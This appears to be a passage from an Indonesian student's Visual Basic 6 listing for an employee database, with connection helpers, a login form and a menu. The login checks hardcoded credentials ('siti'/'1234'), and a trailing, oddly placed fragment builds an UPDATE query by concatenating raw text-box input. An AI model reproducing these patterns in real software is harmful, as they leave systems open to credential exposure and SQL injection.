            Adodc1.Refresh
    End Select
End Sub


MODUL FORM KARYAWAN
Public Db As New ADODB.Connection
Public rs As New ADODB.Recordset
Public rs2 As New ADODB.Recordset
Public sql As String

Sub OPENDB()
If Db.State = adStateOpen Then Db.Close
Db.CursorLocation = adUseClient
Db.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & App.Path & _
"\db1.mdb;Persist Security Info=False "
End Sub

Sub ClearFORM(f As Form)
Dim ctl As Control
For Each ctl In f
    If TypeOf ctl Is TextBox Then ctl.Text = ""
    If TypeOf ctl Is ComboBox Then ctl.Text = ""
Next
End Sub

Sub Center(f As Form)
f.Move (Screen.Width - f.Width) / 2, (Screen.Height - f.Height) / 4
End Sub

Sub RubahCMD(f As Form, L0 As Boolean, L1 As Boolean, L2 As Boolean, L3 As Boolean)
f.cmdproses(0).Enabled = L0
f.cmdproses(1).Enabled = L1
f.cmdproses(2).Enabled = L2
f.cmdproses(3).Enabled = L3
End Sub

2. FORM LOGIN

Private Sub Keluar_Click()
Unload Me
End Sub

Private Sub ok_Click()
If username.Text = "siti" And pass.Text = "1234" Then
    Me.Hide
    MenuUtama.Show
Else
    MsgBox "Maaf! Username dan Password yang anda masukkan salah", vbInformation, "pemakai"
End If
End Sub

3. FORM MENU UTAMA



Private Sub Karyawan_Click()
FrmKaryawan.Show
End Sub

Private Sub Keluar_Click()
Unload Me
End Sub
HASIL DARI LISTING PROGRAM
            "Nama='" & Nama.Text & _
            "',Golongan='" & golongan.Text & _
            "',Jabatan='" & jabatan.Text & _
            "',Bagian='" & bagian.Text & _
            "'Where Nik='" & Nik.Text & "'"